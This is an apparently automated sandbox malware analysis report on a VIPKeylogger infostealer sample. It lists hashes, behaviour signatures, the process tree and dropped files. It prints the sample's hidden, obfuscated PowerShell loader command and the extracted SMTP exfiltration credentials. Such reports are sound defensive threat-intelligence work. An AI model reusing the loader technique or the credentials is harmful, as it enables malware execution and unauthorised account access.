Analysis

  • max time kernel
    141s
  • max time network
    151s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20241007-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20241007-enlocale:en-usos:windows10-2004-x64system
  • submitted
    23-10-2024 01:07

General

  • Target

    1e507febdd48a2bf2429c8011bd5cbc5c7b018207bdaec87665b8b51fa13d904.exe

  • Size

    870KB

  • MD5

    a1e239c4d5116e289ce0597a92844ede

  • SHA1

    4562d452ccc32512291c3165a0b9b3c076b28094

  • SHA256

    1e507febdd48a2bf2429c8011bd5cbc5c7b018207bdaec87665b8b51fa13d904

  • SHA512

    500ddcdc2f1e3ca0da0a43006b99c6e78697433fc0757d25ddff94190dd2d725799faf267efdfacdef758e9024591368454f14025662cc6a1309bce7863494d2

  • SSDEEP

    24576:/75JHVcDo1hTW+VeQ9Ke+alCJmvulW6Nd0vd:jDHVUW/VrKe+m7mwMAd

Malware Config

Extracted

Credentials

  • Protocol:
    smtp
  • Host:
    smtp.ionos.es
  • Port:
    587
  • Username:
    [email protected]
  • Password:
    pW@4G()=#2

Extracted

Family

vipkeylogger

Credentials

Signatures

  • VIPKeylogger

    VIPKeylogger is a keylogger and infostealer written in C# and it resembles SnakeKeylogger that was found in 2020.

  • Command and Scripting Interpreter: PowerShell 1 TTPs 2 IoCs

    Run Powershell and hide display window.

  • Accesses Microsoft Outlook profiles 1 TTPs 3 IoCs
  • Blocklisted process makes network request 14 IoCs
  • Legitimate hosting services abused for malware hosting/C2 1 TTPs 3 IoCs
  • Looks up external IP address via web service 1 IoCs

    Uses a legitimate IP lookup service to find the infected system's external IP.

  • Suspicious use of NtCreateThreadExHideFromDebugger 2 IoCs
  • Suspicious use of NtSetInformationThreadHideFromDebugger 4 IoCs
  • Browser Information Discovery 1 TTPs

    Enumerate browser information.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Program crash 1 IoCs
  • System Location Discovery: System Language Discovery 1 TTPs 5 IoCs

    Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

  • Suspicious behavior: EnumeratesProcesses 18 IoCs
  • Suspicious behavior: MapViewOfSection 2 IoCs
  • Suspicious use of AdjustPrivilegeToken 45 IoCs
  • Suspicious use of WriteProcessMemory 14 IoCs
  • outlook_office_path 1 IoCs
  • outlook_win_path 1 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\1e507febdd48a2bf2429c8011bd5cbc5c7b018207bdaec87665b8b51fa13d904.exe
    "C:\Users\Admin\AppData\Local\Temp\1e507febdd48a2bf2429c8011bd5cbc5c7b018207bdaec87665b8b51fa13d904.exe"
    1⤵
    • System Location Discovery: System Language Discovery
    • Suspicious use of WriteProcessMemory
    PID:3384
    • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
      "powershell.exe" -windowstyle hidden "$Ungarnsopholdet197=Get-Content -raw 'C:\Users\Admin\AppData\Roaming\underarmsmusklens\Edriophthalmian\Levitator\Exungulate.Spe205';$Ratanhia=$Ungarnsopholdet197.SubString(55438,3);.$Ratanhia($Ungarnsopholdet197)"
      2⤵
      • Command and Scripting Interpreter: PowerShell
      • Suspicious use of NtSetInformationThreadHideFromDebugger
      • System Location Discovery: System Language Discovery
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious behavior: MapViewOfSection
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of WriteProcessMemory
      PID:740
      • C:\Windows\SysWOW64\msiexec.exe
        "C:\Windows\SysWOW64\msiexec.exe"
        3⤵
        • Blocklisted process makes network request
        • Suspicious use of NtCreateThreadExHideFromDebugger
        • Suspicious use of NtSetInformationThreadHideFromDebugger
        • System Location Discovery: System Language Discovery
        PID:3468
        • C:\Windows\SysWOW64\WerFault.exe
          C:\Windows\SysWOW64\WerFault.exe -u -p 3468 -s 2020
          4⤵
          • Program crash
          PID:4948
    • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
      "powershell.exe" -windowstyle hidden "$Ungarnsopholdet197=Get-Content -raw 'C:\Users\Admin\AppData\Roaming\underarmsmusklens\Edriophthalmian\Levitator\Exungulate.Spe205';$Ratanhia=$Ungarnsopholdet197.SubString(55438,3);.$Ratanhia($Ungarnsopholdet197)"
      2⤵
      • Command and Scripting Interpreter: PowerShell
      • Suspicious use of NtSetInformationThreadHideFromDebugger
      • System Location Discovery: System Language Discovery
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious behavior: MapViewOfSection
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of WriteProcessMemory
      PID:2720
      • C:\Windows\SysWOW64\msiexec.exe
        "C:\Windows\SysWOW64\msiexec.exe"
        3⤵
        • Accesses Microsoft Outlook profiles
        • Blocklisted process makes network request
        • Suspicious use of NtCreateThreadExHideFromDebugger
        • Suspicious use of NtSetInformationThreadHideFromDebugger
        • System Location Discovery: System Language Discovery
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        • outlook_office_path
        • outlook_win_path
        PID:4232
  • C:\Windows\SysWOW64\WerFault.exe
    C:\Windows\SysWOW64\WerFault.exe -pss -s 184 -p 3468 -ip 3468
    1⤵
      PID:3384

    Network

    MITRE ATT&CK Enterprise v15

    Replay Monitor

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    Downloads

    • C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\05DDC6AA91765AACACDB0A5F96DF8199

      Filesize

      854B

      MD5

      e935bc5762068caf3e24a2683b1b8a88

      SHA1

      82b70eb774c0756837fe8d7acbfeec05ecbf5463

      SHA256

      a8accfcfeb51bd73df23b91f4d89ff1a9eb7438ef5b12e8afda1a6ff1769e89d

      SHA512

      bed4f6f5357b37662623f1f8afed1a3ebf3810630b2206a0292052a2e754af9dcfe34ee15c289e3d797a8f33330e47c14cbefbc702f74028557ace29bf855f9e

    • C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\24BD96D5497F70B3F510A6B53CD43F3E_3A89246FB90C5EE6620004F1AE0EB0EA

      Filesize

      1KB

      MD5

      76b2de4276a82861ed2fc9622aca4532

      SHA1

      121d53d4ccd29ff917c424c703a718f4ce811172

      SHA256

      a5d281814ab7745a410c2de4e66244f253662f3c78fdc0d2a280632afab807e4

      SHA512

      de2758ac45fd6d48008c9ad0f58e71d064e6284f8665cd09794f9d1a6d6c2747ed7c9be6f6a784c530b72290c0de015849e9a650e2ddd7172dda1dba79562605

    • C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\4FA45AE1010E09657982D8D28B3BD38E_B60DAD4239F8DBB7FDA230724F9F9DFD

      Filesize

      471B

      MD5

      ed2bc277627fe9729bb6e14fc0ca8651

      SHA1

      45904821d33b90391b60e1c78283343b40167f79

      SHA256

      7d3aa148aa339df14b24d65c7ec460b0bec9067dee838ef9a48a1028e393a99b

      SHA512

      e02dd1357820ef6824580e5d9277ffcaa8540f936ae076de3dca4a61c2ab4ad0b4d1b024a171473bbd65bd8a9cf27f46167f3f38be04d56280b7348abe23440a

    • C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\DDE8B1B7E253A9758EC380BD648952AF_3459237E893F04A4596206DC25825D64

      Filesize

      472B

      MD5

      452e11716ea4843afe2f66561e31bed5

      SHA1

      36e2c61b5ead22352683945567e75f3bfbfc6b3c

      SHA256

      9daa8523616103e9dd1f7ba52b95b16fcf1b6935d43488db6abf5467dceab917

      SHA512

      b9089c671248e5a4b47742756da9837ae49da54a9cd3072624266adaaf69bcc32dabde6fcd1b7529ec6fefa3b127ec745ce425f3de22bc3cff1b922be8075d89

    • C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\05DDC6AA91765AACACDB0A5F96DF8199

      Filesize

      170B

      MD5

      3e0c752ea08c9dfa0238fd5ce0810527

      SHA1

      c4a4861d6385c7db753df01933a97d61fce27f6b

      SHA256

      90010ac301d8a1a74d00a9aadfe6c50af040ab01a30d30f4f2d0b3815d5a7f24

      SHA512

      392b7db648bcc567c94eeae1c301a7ba66f97670a5700eda819f7c55fb2ebc638bdcbc312b5f6a67ea91a139491e28191a6568c21cbe32aeaf14fc9c2dc68f71

    • C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\24BD96D5497F70B3F510A6B53CD43F3E_3A89246FB90C5EE6620004F1AE0EB0EA

      Filesize

      410B

      MD5

      e6f1c754c28d8e86083b34471b96b522

      SHA1

      b02fc76ca76668920149e2a8ac333f3bece52fda

      SHA256

      d412dd113ffc11850d95590a05256a5781c50c5605e29df10344b674bcd0c438

      SHA512

      4d68d65106092a83c34f6637ca5fc8b2c21db07971abf4461f1ddff7829ca2228bd6b0550bed323b3615d267e58b69d066db8f3aff595f42273e09add47aec1b

    • C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\24BD96D5497F70B3F510A6B53CD43F3E_3A89246FB90C5EE6620004F1AE0EB0EA

      Filesize

      410B

      MD5

      9926924cde42b97d6af3da647d0ca59b

      SHA1

      629b241dd65ddc03d216a364fe852529c5d5c3b3

      SHA256

      bf07ce07e0394bf8cc90e75362e07fb032f922f42e21f3d4664b494a1fba2198

      SHA512

      065d4cb68921b3cf98706290ccae774fa565998267bae07b672ed18da968e634c6980293df23397cdd9649e819375e2feebd4c69deb6a04e1488a2acd4da8e85

    • C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\4FA45AE1010E09657982D8D28B3BD38E_B60DAD4239F8DBB7FDA230724F9F9DFD

      Filesize

      406B

      MD5

      972a6d7fa4451e526b711a28b26bb1ba

      SHA1

      336882aefa8de66c09b36e2fb0de4e41a4bd0cec

      SHA256

      aeea949a6e0ebd17b28c045941b43ca98f6d8583e26e7b451a1126fdcbed513a

      SHA512

      2be7b135719a38fbfff20511a6eecb2becc643834108d034fb06d69b1f602680c5dd95f3ca9b7ca931268f713a073ec008de47f676578eb48a200040a30bf37c

    • C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\DDE8B1B7E253A9758EC380BD648952AF_3459237E893F04A4596206DC25825D64

      Filesize

      402B

      MD5

      38694f6662c244ce8d12de135e3bb5d6

      SHA1

      46e1d889dea36fe475efbc94d556b538f29f06c3

      SHA256

      564612dea7253df1ed1bd024a18d37e895711d890e6b666bb964548d13236bca

      SHA512

      8561224c724f3ca156f3a083dcbb27096590a17e25c8e8cbb457f6f7e799dc5d652de7d425dae1cec2d4436ab76d8b15326902efc0bcaf65b0eedeee56f74189

    • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\ModuleAnalysisCache

      Filesize

      53KB

      MD5

      01404e51f6442f60e478c306b1e6e52e

      SHA1

      37f234ccf5611b8309023410ceb9e76ad81f5678

      SHA256

      d4356dd23aa2e811712132f9718786331661a1bd0d062c49cb76807b9563928b

      SHA512

      94a9d843ae4055e2a9b412f03cba85e2d7b804ec3106f059d14ca50b15ae4acc6cd452f9461c2e21d1632d06848c969732c539aea17869b8b3a2f5ab93b891d7

    • C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_s2jbguzs.aoh.ps1

      Filesize

      60B

      MD5

      d17fe0a3f47be24a6453e9ef58c94641

      SHA1

      6ab83620379fc69f80c0242105ddffd7d98d5d9d

      SHA256

      96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

      SHA512

      5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

    • C:\Users\Admin\AppData\Roaming\underarmsmusklens\Edriophthalmian\Levitator\Exungulate.Spe205

      Filesize

      54KB

      MD5

      0d2ce39822e9236a380f4d1d53550e93

      SHA1

      8381b0e62708112dbfbed036650bf0667ec4476b

      SHA256

      ed34db2a55a35c90b524d2448353eb73d28da7d7ff401477165c226ff25de9af

      SHA512

      f365bb861db3fc6d29736b3f8c0377bb4f8318fff94bc96033ae208760082b529b8aea4cf79de9efa3608c79ac91fe57e19f26959831f621bba8816e1013afc3

    • C:\Users\Admin\AppData\Roaming\underarmsmusklens\Edriophthalmian\Levitator\Sekundrlitteraturers.Non

      Filesize

      332KB

      MD5

      d3086578d45d821207eac6cbb8e24a2b

      SHA1

      0772cbce5403edae1aab6310b2f58d7f99c726c0

      SHA256

      e856fc4f6b157e7799c1af872064cd1be9f982b1a5d18d7b16e5c3a48e3a1b1a

      SHA512

      7db853becc19b209c0534c8f09635c55dab9bc540bd138054c2e84bbfc396bfa587bd4549a7188824f95271c04894bb7c66795f75267bca16620bc27ed38807d

    • memory/740-39-0x0000000006350000-0x000000000636A000-memory.dmp

      Filesize

      104KB

    • memory/740-82-0x0000000073EC0000-0x0000000074670000-memory.dmp

      Filesize

      7.7MB

    • memory/740-7-0x0000000073ECE000-0x0000000073ECF000-memory.dmp

      Filesize

      4KB

    • memory/740-38-0x00000000063A0000-0x0000000006436000-memory.dmp

      Filesize

      600KB

    • memory/740-41-0x0000000007680000-0x0000000007C24000-memory.dmp

      Filesize

      5.6MB

    • memory/740-9-0x0000000073EC0000-0x0000000074670000-memory.dmp

      Filesize

      7.7MB

    • memory/740-43-0x00000000082B0000-0x000000000892A000-memory.dmp

      Filesize

      6.5MB

    • memory/740-44-0x0000000007270000-0x00000000072A2000-memory.dmp

      Filesize

      200KB

    • memory/740-57-0x0000000073EC0000-0x0000000074670000-memory.dmp

      Filesize

      7.7MB

    • memory/740-58-0x0000000073EC0000-0x0000000074670000-memory.dmp

      Filesize

      7.7MB

    • memory/740-59-0x00000000072C0000-0x0000000007363000-memory.dmp

      Filesize

      652KB

    • memory/740-56-0x0000000007250000-0x000000000726E000-memory.dmp

      Filesize

      120KB

    • memory/740-46-0x0000000070AD0000-0x0000000070E24000-memory.dmp

      Filesize

      3.3MB

    • memory/740-45-0x0000000070350000-0x000000007039C000-memory.dmp

      Filesize

      304KB

    • memory/740-60-0x00000000073E0000-0x00000000073EA000-memory.dmp

      Filesize

      40KB

    • memory/740-62-0x0000000007590000-0x00000000075B4000-memory.dmp

      Filesize

      144KB

    • memory/740-61-0x0000000007560000-0x000000000758A000-memory.dmp

      Filesize

      168KB

    • memory/740-8-0x0000000002840000-0x0000000002876000-memory.dmp

      Filesize

      216KB

    • memory/740-11-0x0000000073EC0000-0x0000000074670000-memory.dmp

      Filesize

      7.7MB

    • memory/740-10-0x0000000004FE0000-0x0000000005608000-memory.dmp

      Filesize

      6.2MB

    • memory/740-77-0x0000000073EC0000-0x0000000074670000-memory.dmp

      Filesize

      7.7MB

    • memory/740-76-0x0000000073ECE000-0x0000000073ECF000-memory.dmp

      Filesize

      4KB

    • memory/740-78-0x0000000008930000-0x000000000C4F1000-memory.dmp

      Filesize

      59.8MB

    • memory/740-79-0x0000000073EC0000-0x0000000074670000-memory.dmp

      Filesize

      7.7MB

    • memory/740-12-0x0000000004F60000-0x0000000004F82000-memory.dmp

      Filesize

      136KB

    • memory/740-40-0x0000000007000000-0x0000000007022000-memory.dmp

      Filesize

      136KB

    • memory/740-83-0x0000000073EC0000-0x0000000074670000-memory.dmp

      Filesize

      7.7MB

    • memory/740-25-0x0000000005E40000-0x0000000005E5E000-memory.dmp

      Filesize

      120KB

    • memory/740-87-0x0000000073EC0000-0x0000000074670000-memory.dmp

      Filesize

      7.7MB

    • memory/740-14-0x0000000005820000-0x0000000005886000-memory.dmp

      Filesize

      408KB

    • memory/740-26-0x0000000005E70000-0x0000000005EBC000-memory.dmp

      Filesize

      304KB

    • memory/740-24-0x0000000005890000-0x0000000005BE4000-memory.dmp

      Filesize

      3.3MB

    • memory/740-13-0x0000000005740000-0x00000000057A6000-memory.dmp

      Filesize

      408KB

    • memory/2720-88-0x0000000073EC0000-0x0000000074670000-memory.dmp

      Filesize

      7.7MB

    • memory/2720-81-0x0000000073EC0000-0x0000000074670000-memory.dmp

      Filesize

      7.7MB

    • memory/2720-27-0x0000000073EC0000-0x0000000074670000-memory.dmp

      Filesize

      7.7MB

    • memory/2720-64-0x0000000070AD0000-0x0000000070E24000-memory.dmp

      Filesize

      3.3MB

    • memory/2720-63-0x0000000070350000-0x000000007039C000-memory.dmp

      Filesize

      304KB

    • memory/2720-28-0x0000000073EC0000-0x0000000074670000-memory.dmp

      Filesize

      7.7MB

    • memory/3468-128-0x0000000001200000-0x0000000002454000-memory.dmp

      Filesize

      18.3MB

    • memory/3468-126-0x0000000001200000-0x0000000002454000-memory.dmp

      Filesize

      18.3MB

    • memory/4232-125-0x0000000023160000-0x00000000231FC000-memory.dmp

      Filesize

      624KB

    • memory/4232-124-0x0000000000600000-0x000000000064A000-memory.dmp

      Filesize

      296KB

    • memory/4232-123-0x0000000000600000-0x0000000001854000-memory.dmp

      Filesize

      18.3MB

    • memory/4232-130-0x0000000023DF0000-0x0000000023FB2000-memory.dmp

      Filesize

      1.8MB

    • memory/4232-131-0x0000000023600000-0x0000000023650000-memory.dmp

      Filesize

      320KB

    • memory/4232-132-0x00000000244F0000-0x0000000024A1C000-memory.dmp

      Filesize

      5.2MB

    • memory/4232-134-0x0000000023D30000-0x0000000023DC2000-memory.dmp

      Filesize

      584KB

    • memory/4232-135-0x0000000023CF0000-0x0000000023CFA000-memory.dmp

      Filesize

      40KB